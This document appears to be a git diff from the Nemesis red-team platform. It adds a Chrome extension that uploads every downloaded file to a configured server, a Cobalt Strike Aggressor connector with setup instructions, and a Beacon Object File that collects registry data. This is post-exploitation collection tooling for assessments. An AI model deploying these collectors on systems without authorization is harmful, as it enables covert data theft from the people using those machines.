"sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "dev": true + }, + "yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "requires": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + }, + "dependencies": { + "camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true + }, + "decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true + } + } + }, + "yazl": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz", + "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==", + "dev": true, + "requires": { + "buffer-crc32": "~0.2.3" + } + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true + } + } +} diff --git a/cmd/chrome-extension/package.json b/cmd/chrome-extension/package.json new file mode 100644 index 0000000..818f8a5 --- /dev/null +++ b/cmd/chrome-extension/package.json @@ -0,0 +1,63 @@ +{ + "name": "nemesis2", + "description": "hack things", + "version": "0.0.1", + "homepage": "http://chrome.google.com/webstore", + "author": "ENTER YOUR NAME HERE", + "repository": { + "type": "git", + "url": "ENTER GIT REPO URL" + }, + "scripts": { + "start": "xt-build -e dev -w", + "start:firefox": "xt-build -e dev -p firefox -w", + "build:css": "postcss styles.css -o dist/assets/css/styles.css", + "build": "xt-build -e prod && npm run build:css", + "build:firefox": "xt-build -e prod -p firefox", + "clean": "xt-clean", + "docs": "xt-docs", + "test": "xt-test", + "coverage": "nyc --reporter=lcov npm run test", + "sync": "xt-sync", + "lint": "eslint 'src/**/*.js'" + }, + "babel": { + "presets": [ + "@babel/preset-env" + ] + }, + "eslintIgnore": [ + "test/**/*" + ], + "dependencies": { + "ip-range-check": "^0.2.0", + "ipaddr.js": "^2.1.0" + }, + "devDependencies": { + "autoprefixer": "^10.4.14", + "extension-cli": "latest", + "flowbite-typography": "^1.0.3", + "postcss-cli": "^10.1.0", + "tailwindcss": "^3.3.3" + }, + "xtdocs": { + "source": { + "include": [ + "README.md", + "src" + ] + } + }, + "xtbuild": { + "js_bundles": [ + { + "name": "background", + "src": "./src/index.js" + }, + { + "name": "options", + "src": "./src/options.js" + } + ] + } +} diff --git a/cmd/chrome-extension/postcss.config.js b/cmd/chrome-extension/postcss.config.js new file mode 100644 index 0000000..e0e62a9 --- /dev/null +++ b/cmd/chrome-extension/postcss.config.js @@ -0,0 +1,3 @@ +module.exports = { + plugins: [require('tailwindcss'), require('autoprefixer')], +}; \ No newline at end of file diff --git a/cmd/chrome-extension/src/index.js b/cmd/chrome-extension/src/index.js new file mode 100644 index 0000000..f69b188 --- /dev/null +++ b/cmd/chrome-extension/src/index.js @@ -0,0 +1,172 @@ +import ipRangeCheck from 'ip-range-check'; +import ipaddr from 'ipaddr.js'; + +import { getAll } from './storage'; + +const AGENT_KEY = "agent_key"; + +const CONFIGURE_PLUGIN_ID = "configure-plugin"; + +// Helper functions + +function generateRandomString(length) { + let result = ''; + const characters = + 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + const charactersLength = characters.length; + for (let i = 0; i < length; i++) { + result += characters.charAt(Math.floor(Math.random() * charactersLength)); + } + return result; +} + +async function fetchLocalFileEncode(path) { + const data = await fetch(`file://${path}`); + return await data.blob(); +} + +async function postFile(input, download_object) { + const { url, username, password, agent_key } = await getAll(); + + if (!url || url === "" || !username || username === "" || !password || password === "") { + chrome.runtime.openOptionsPage(); + throw new Error("Chrome Plugin Not Configured"); + } + + const result = await fetch(`${url}/file`, { + method: "POST", + body: input, + headers: { + "Content-Type": "application/octet-stream", + }, + }); + if (!result.ok) { + throw new Error( + `Failed to upload (${result.status}): ${result.statusText}` + ); + } + + const r_json = await result.json(); + + const metadata = { + agent_id: agent_key, + agent_type: "chrome", + automated: true, + data_type: "file_data", + source: download_object.url, + project: "chrome", + timestamp: download_object.startTime, + }; + + const file_data = { + path: download_object.filename, + size: download_object.fileSize, + object_id: r_json.object_id + }; + + const post_data = { 'metadata': metadata, 'data': [file_data] }; + + const result2 = await fetch(`${url}/data`, { + body: JSON.stringify(post_data), + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": "Basic " + btoa(username + ":" + password), + }, + }); + if (!result2.ok) { + throw new Error( + `Failed to upload (${result2.status}): ${result2.statusText}` + ); + } +} + + +// Chrome handlers + +chrome.runtime.onInstalled.addListener(async () => { + chrome.notifications.create(CONFIGURE_PLUGIN_ID, { + title: 'Nemesis Installed', + message: 'Please configure the plugin', + iconUrl: '/assets/img/icon128.png', + type: 'basic', + }) + + const agent_id = generateRandomString(16); + await chrome.storage.local.set({ [AGENT_KEY]: agent_id }); + + const { url, username, password } = await chrome.storage.local.get(); + + if (!url || url === "" || !username || username === "" || !password || password === "") { + chrome.runtime.openOptionsPage(); + } +}); + +chrome.notifications.onClicked.addListener((notificationId) => { + if (notificationId === CONFIGURE_PLUGIN_ID) { + chrome.runtime.openOptionsPage(); + } +}) + +async function sourceMatchesWhitelist(source_url) { + const { whitelist } = await getAll(); + console.debug('[DEBUG] Allowlist:', whitelist) + if (whitelist) { + const source = new URL(source_url); + const ips = whitelist.filter(x => { + try { + ipaddr.parseCIDR(x); + return true; + } catch (e) { return false } + }); + console.debug('[DEBUG] IPs:', ips); + const domains = whitelist.filter(x => !ipaddr.isValid(x)); + console.debug('[DEBUG] Domains:', domains); + const matches_ip = ipRangeCheck(source.hostname, ips); + console.debug('[DEBUG] Matches IP:', matches_ip); + const matches_domain = domains.includes(source.hostname); + console.debug('[DEBUG] Matches domain:', matches_domain); + return matches_ip || matches_domain; + } + return true; +} + +chrome.downloads.onChanged.addListener((delta) => { + if (delta.state && delta.state.current === "complete") { + chrome.downloads.search({ id: delta.id }, async (downloads) => { + console.debug("Downloaded file: " + downloads[0].filename); + const filename = downloads[0].filename; + + const source = downloads[0].url; + + if (!(await sourceMatchesWhitelist(source))) { + console.log('[DEBUG]: Source does not match allowlist'); + return; + } + console.debug('[DEBUG]: Source matches allowlist'); + + const data = await fetchLocalFileEncode(filename); + + console.debug('[DEBUG]: Uploading file'); + + try { + await postFile(data, downloads[0]); + chrome.notifications.create('', { + title: 'Nemesis', + message: 'File uploaded successfully', + iconUrl: '/assets/img/icon128.png', + type: 'basic', + }); + } catch (e) { + console.error(e); + chrome.notifications.create('', { + title: 'Nemesis', + message: 'File upload failed', + iconUrl: '/assets/img/icon128.png', + type: 'basic', + }); + throw e; + } + }); + } +}); \ No newline at end of file diff --git a/cmd/chrome-extension/src/manifest.json b/cmd/chrome-extension/src/manifest.json new file mode 100644 index 0000000..bd704d6 --- /dev/null +++ b/cmd/chrome-extension/src/manifest.json @@ -0,0 +1,32 @@ +{ + "name": "__MSG_appName__", + "short_name": "__MSG_appShortName__", + "description": "__MSG_appDescription__", + "homepage_url": "http://chrome.google.com/webstore", + "version": "0.0.1", + "version_name": "0.0.1", + "manifest_version": 3, + "default_locale": "en", + "minimum_chrome_version": "88", + "permissions": [ + "activeTab", + "scripting", + "downloads", + "storage", + "notifications" + ], + "host_permissions": [ + "" + ], + "icons": { + "128": "assets/img/icon128.png" + }, + "background": { + "service_worker": "background.js" + }, + "options_page": "options.html", + "action": { + "default_icon": {}, + "default_title": "__MSG_appName__" + } +} \ No newline at end of file diff --git a/cmd/chrome-extension/src/options.html b/cmd/chrome-extension/src/options.html new file mode 100644 index 0000000..bc353df --- /dev/null +++ b/cmd/chrome-extension/src/options.html @@ -0,0 +1,85 @@ + + + + + Nemesis Options + + + + + + +
+
+
+

+ Nemesis Configuration +

+
+
+ + +

Used to + identify source of uploads. +

+
+ +
+ + +
+ +
+ + +
+
+ + +
+ + + + + + +
+
+
+
+ + + + + \ No newline at end of file diff --git a/cmd/chrome-extension/src/options.js b/cmd/chrome-extension/src/options.js new file mode 100644 index 0000000..ec9b52a --- /dev/null +++ b/cmd/chrome-extension/src/options.js @@ -0,0 +1,76 @@ +import { set } from './storage.js' + +const URL_KEY = "url"; +const USERNAME_KEY = "username"; +const PASSWORD_KEY = "password"; +const AGENT_KEY = "agent_key"; +const WHITELIST_KEY = "whitelist"; + +async function saveConfiguration() { + async function saveElement(key, id) { + var val = document.getElementById(id).value; + await set(key, val) + } + saveElement(URL_KEY, "url"); + saveElement(USERNAME_KEY, "username"); + saveElement(PASSWORD_KEY, "password"); + saveElement(AGENT_KEY, "agent_key"); + + if (document.getElementById("whitelist-toggle").checked) { + const whitelist = document.getElementById('whitelist').value.split('\n'); + await set(WHITELIST_KEY, whitelist); + } else { + await set(WHITELIST_KEY, null); + } + + alert('Saved configuration') +} + +document.getElementById("nemesis-form").addEventListener("submit", e => { + e.preventDefault(); + console.debug('Form submitted'); + const form_valid = document.getElementById("nemesis-form").reportValidity() + if (form_valid) + saveConfiguration(); +}); + +document.getElementById("whitelist-toggle").addEventListener("click", async () => { + const whitelist_checked = document.getElementById("whitelist-toggle").checked; + if (whitelist_checked) { + document.getElementById("whitelist-div").classList.toggle("hidden"); + } else { + document.getElementById("whitelist-div").classList.toggle("hidden"); + await set(WHITELIST_KEY, null); + } +}); + +async function optionsGet(key) { + const val = await chrome.storage.local.get([key]); + if (Object.keys(val).length === 0) return null; + if (val && val[key]) + return val[key]; + return null; +} + +document.addEventListener("DOMContentLoaded", async () => { + async function createSetter(key, id) { + const val = await optionsGet(key); + if (val) { + document.getElementById(id).value = val; + } + } + + const whitelist = await optionsGet(WHITELIST_KEY); + if (whitelist == null || Object.keys(whitelist).length == 0) { + document.getElementById("whitelist-toggle").checked = false; + } else { + document.getElementById("whitelist-toggle").checked = true; + document.getElementById("whitelist-div").classList.toggle("hidden"); + document.getElementById("whitelist").value = whitelist.join('\n'); + } + + await createSetter(URL_KEY, "url"); + await createSetter(USERNAME_KEY, "username"); + await createSetter(PASSWORD_KEY, "password"); + await createSetter(AGENT_KEY, "agent_key"); +}); \ No newline at end of file diff --git a/cmd/chrome-extension/src/storage.js b/cmd/chrome-extension/src/storage.js new file mode 100644 index 0000000..e7cac3d --- /dev/null +++ b/cmd/chrome-extension/src/storage.js @@ -0,0 +1,7 @@ +export const get = async (key) => { + const a = chrome.storage.local.get([key]) + if (Object.keys(a).length === 0) return null + return a; +} +export const set = async (key, value) => chrome.storage.local.set({ [key]: value }) +export const getAll = async () => chrome.storage.local.get() \ No newline at end of file diff --git a/cmd/chrome-extension/styles.css b/cmd/chrome-extension/styles.css new file mode 100644 index 0000000..bd6213e --- /dev/null +++ b/cmd/chrome-extension/styles.css @@ -0,0 +1,3 @@ +@tailwind base; +@tailwind components; +@tailwind utilities; \ No newline at end of file diff --git a/cmd/chrome-extension/tailwind.config.js b/cmd/chrome-extension/tailwind.config.js new file mode 100644 index 0000000..f86a7be --- /dev/null +++ b/cmd/chrome-extension/tailwind.config.js @@ -0,0 +1,20 @@ +/** @type {import('tailwindcss').Config} */ +module.exports = { + darkMode: 'class', + theme: { + extend: { + colors: { + primary: { "50": "#eff6ff", "100": "#dbeafe", "200": "#bfdbfe", "300": "#93c5fd", "400": "#60a5fa", "500": "#3b82f6", "600": "#2563eb", "700": "#1d4ed8", "800": "#1e40af", "900": "#1e3a8a", "950": "#172554" } + } + }, + }, + variants: { + extend: {}, + }, + plugins: [ + require('flowbite-typography'), + ], + content: [ + './dist/**/*.{html,css,js}' + ], +}; \ No newline at end of file diff --git a/cmd/chrome-extension/test/sample.js b/cmd/chrome-extension/test/sample.js new file mode 100644 index 0000000..d3f9a09 --- /dev/null +++ b/cmd/chrome-extension/test/sample.js @@ -0,0 +1,6 @@ +describe('Test extension', () => { + + it('This is a dummy test', () => { + expect(true).to.be.true; + }); +}); diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/README.md b/cmd/connectors/cobaltstrike-nemesis-connector/README.md new file mode 100755 index 0000000..ce52e0e --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/README.md @@ -0,0 +1,53 @@ +Aggressor project that ingests Cobalt Strike data into Nemesis. + +The project can be run on a teamserver to ingest data tasks by ALL clients, or can be run on an individual client instance to ingest data just from that client. + +Also contains the `bof_reg_collect` , a Beacon Object File to collect registry data in a serialized manner. + +# Usage +Make sure the following environment variables are set before running `nemesis-connector.cna`: + +| Configuration Variable | Required | Example | Default (if applicable) | Description | +|------------------------------------|----------|-----------------------------|-------------------------|---------------------------------------------------------------------------------------------------------------| +| NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR | Yes | /tmp/ | | Temporary directory used when syncing downloads from a Cobalt Strike teamserver | +| NEMESIS_BASE_URL | Yes | http://192.168.230.42:8080/ | | Base URL used when constructing the URL to web api, elastic, kibana, etc (e.g., NEMESIS_BASE_URL + "/kibana") | +| NEMESIS_CREDS | Yes | nemesis:Qwerty12345 | | Basic auth credentials used when accessing the Nemesis frontend web endpoints | +| NEMESIS_DEBUG_JSON | No | 1 | 0 | Print JSON responses from web API requests | +| NEMESIS_PROJECT | Yes | ASSESS-123 | | Assessmend project ID the teamserver is associated with | +| NEMESIS_DATA_EXPIRATION_DAYS | Yes | 100 | 100 | Number of days after which Nemesis should expire the data | + +Example: +``` +export NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR=/tmp/ +export NEMESIS_BASE_URL=http://192.168.230.100:8080/ +export NEMESIS_CREDS="nemesis:Qwerty12345" +# export NEMESIS_DEBUG_JSON="1" +export NEMESIS_PROJECT=ASSESS-X +export NEMESIS_DATA_EXPIRATION_DAYS=100 +``` + +When launching the Cobalt Strike GUI or `agscript`, ensure that `SSLUtils.jar` is added to the classpath, e.g. for `agscript`: + +``` +... + +java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -classpath "${CSJAR}:/home/user/Toolkit/cobaltstrike-nemesis-connector/SSLUtils.jar" aggressor.headless.Start $* + +``` + +Then, load `nemesis-connector.cna` using agscript or into the Cobalt Stike client GUI: + +``` +./agscript 50050 nemesis-bot Password123! /home/user/Toolkit/cobaltstrike-nemesis-connector/nemesis-connector.cna +``` + +**Note:** the `agscript` command can be run from the teamserver itself, or any other server with Cobalt Strike installed. + + +## Interacting with nemesis-bot + +Communication from the client to the `nemesis-bot` on the server occurs through the event log. In order to interact with `nemesis-bot`, go to `Cobalt Strike` -> `Script Console` and use the privmsg() function. All current interaction commands are listed below. + +To trigger reprocessing of all downloads: + + aggressor> x privmsg("nemesis-bot", "ReprocessDownloads") diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar b/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar new file mode 100644 index 0000000000000000000000000000000000000000..ae514a47d04f2ec2b6e3a3aa4a430fedbefb66f4 GIT binary patch literal 2126 zcmWIWW@Zs#;Nak3DBq?O%76qo8CV#6T|*poJ^kGD|D9rBU}gyLX6FE@V1gbNz)K1?ski?V-xvw3;I3aRxc z-;|U+tDHCU?%#ipPn$FNf4t*p?`7tebEh<6;grKGnyV#@)9%dRWdClM`M8mpU6s97 zWA=$Dy#{!RF}) zKCJt*P&qqP=6~M4TRTfDjjqPmc(I&SxpI77zRbphPxER5Opiw?)Yi$=h*Wj5Tlw`# z9y?V(u|&1Kr8n-Z$N9SK!y3~~R+MPDs(#7dczpK6cPt4K`v3b6uh`A9QAS($XX6bq z&b#`>2kIS4mI<)fHrQ1uKHGfYjH^<0@4u-TsawiI{SMkqK3p(2r(EjH#o&d~jXtw> z_3DT+PrkYS#F}{rtLnRQ_9prMZjRM0S$}o|mvy6UaZ?PpZSESu8!4Y(GeD1-uTQ1x_Cc8u{VOGdF!Cy9tdNGGK z1*q6J-`+9#+vJ5E&N<7@{ir>X_se_#d{Ax@dXd~;2Fy+#EcjBa08)xoF@&Vq*a>I7 zm<>f*{d4ASeEj8jy`YG=UX&|)xSm#C*P?*eNn5zfFMo>)UMA^rY0>*9$EH3w#QtI7 zk=X~8q&)nJir$w`{{8doKgI_vvl+P}K5cxHeD(OOhH|Z`Thf_Ys}^eq4O5N8sx1#VNB~G8eT4=4=f)oc7MfwJRsZN9t&ywOVq@vRS>= zjSA<~cKM56Dm+zFnVy=}7sD5B75>-6*k`BO?-{%`Yuax#sBgHSn5=J{?0jZ-vBBv( z)?ys%rzqX^5>7tBaiwm4$z|!l`&@7S)J|qznc@@so!4{LPvdzGo_wLpG|e>243En` zax2*VtfDB>?&qG{X`<(D);Cu?n3%b{um__3M9hEhzFm!L%*en+4 zD7y8|%7oUdhB1k9_d(%)W2SAr6(a+~HXz1bQivgkdr47gaY4t!X-?kJkKbTsmbvt@${UZi-6}}n<`Bn*i zUk_#>%Zjv={okLRJz-y0_nYqlW1hRl<6TEK9r5i9?KEwCm7Ke!UMV22yo^=r?n6dS zoiAG!&i&&&|IOc^$e-my70-r}?TpY&qS zkt*3xkH%vhn;vp=YAYNMt-UR=>8?&`U&ZuZ`)zSw`#mZfrxuh-Nq^c{92s+?V&<$8 zffw1&LAnY$8j7%a7 zsMQ~=ZUa?+r~qD{fht3Et;kgmsPaPqTObpz6{#vjHUU&cAr}RpDhdH^0-2~47P?;K wZB9s!tHk#wVEfB +``` + +2. Download file in downloads folder + +3. Parse output with `nemesis_reg_collect_parser.py` + +``` +python3 nemesis_reg_collect_parser.py +``` + +## Example + +``` +reg_collect HKLM SYSTEM\CurrentControlSet\Services\ACPI +``` + +``` +$ python3 ./nemesis_reg_collect_parser.py ~/test.bin /tmp/test.json +$ cat /tmp/test.json +[{"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "FixedEventMask", "key_size": 28, "value": [32, 5], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "FixedEventStatus", "key_size": 32, "value": [0, 129], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "GenericEventMask", "key_size": 32, "value": [8, 0], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "GenericEventStatus", "key_size": 36, "value": [0, 0], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "WHEAOSCImplemented", "key_size": 36, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "APEIOSCGranted", "key_size": 28, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "CPPCRevisionGranted", "key_size": 38, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "WppRecorder_TraceGuid", "key_size": 42, "value": "{03906a40-cce8-447f-83f4-e2346215db84}\u0000", "value_size": 78}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "AMLIMaxCTObjs", "key_size": 26, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "0", "key_size": 2, "value": "ACPI_HAL\\PNP0C08\\0\u0000", "value_size": 38}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "Count", "key_size": 10, "value": 1, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "NextInstance", "key_size": 24, "value": 1, "value_size": 0}, {"type_": 2, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "ImagePath", "key_size": 18, "value": "System32\\drivers\\ACPI.sys\u0000\u0000", "value_size": 54}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Type", "key_size": 8, "value": 1, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Start", "key_size": 10, "value": 0, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "ErrorControl", "key_size": 24, "value": 3, "value_size": 0}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "DisplayName", "key_size": 22, "value": "@acpi.inf,%ACPI.SvcDesc%;Microsoft ACPI Driver\u0000", "value_size": 94}, {"type_": 7, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Owners", "key_size": 12, "value": ["acpi.inf"], "value_size": 20}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Tag", "key_size": 6, "value": 2, "value_size": 0}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Group", "key_size": 10, "value": "Core\u0000", "value_size": 10}] +``` + +# TODO +- Return what path was queried so that data is known by Nemesis +- File type integrated with Nemesis +- Compress file blob +- Parser could be rewritten as a parser combinator +- Check for memory leaks +- Make recursive query optional +- Split functionality + - Key existance: Check if key exists + - Key enumeration: only return keys and don't return values + - SDDL enumeration: Check SDDL along with key/value \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..afe863a06a034a2ecd20f8ca2c6eb015b5e4ad2b GIT binary patch literal 7023 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 HxXS+l;r7tC literal 0 HcmV?d00001 diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o new file mode 100644 index 0000000000000000000000000000000000000000..cef53be38b0158e77ec2ec09054a08ada73cf8a7 GIT binary patch literal 7559 zcmaJ`4{#La72ivi6??Zg)^ROp4x7t5Vok_3H?x7Qca{CFMo71Efm_KpJLi_mul zd>>sU$YppCUzh%&5%d_o+Cl9d)opahjhWBa41wC2x>#YX@no4ly)fYMKmt#hp1K?m z14frObJMww0btujv-1!fNJvqgB?+FT)K6Q@Nyn z`n?B398c9h8+wTm z^x?5Ut{rUnbX(c(D%Y;nC7#C2zl`7sWJ=b%hIM2G8cJ*pTr_fI*ytLzY`}azvk-<0 zSsL`nzG=k?#i%}{4VLeGAe+tVqqXnAhtm07zC;`Rc}0TA?BRRpQQmUc^!oI+Vg0?? zZ|i?(=o;QQ)oAnX_Dhz-aKC89WDJ znO%i6BAsF@c^Qe4&{S4S*%4~@Qx4yDTs(lOvO8F5 zB)w4Yohg+_yR;wwH=8xJ7jTD^&j?mfsHBvX==Hh2#N+BpQyT^|xaQ=zW|`Vs zLOftAx zrzxJih$7z}ZXnBG>Y^WWXZ7|&ls8H3L&9=3IsYZxCpqd0vY@BYt-30@4~r`5c0T?! zI+`aMX$E)Ul7{kUW1vEYl`z?UI|%RvTtaX?O}c9afSr1gawpJzSQm*X;b5l2-Z`?eW# 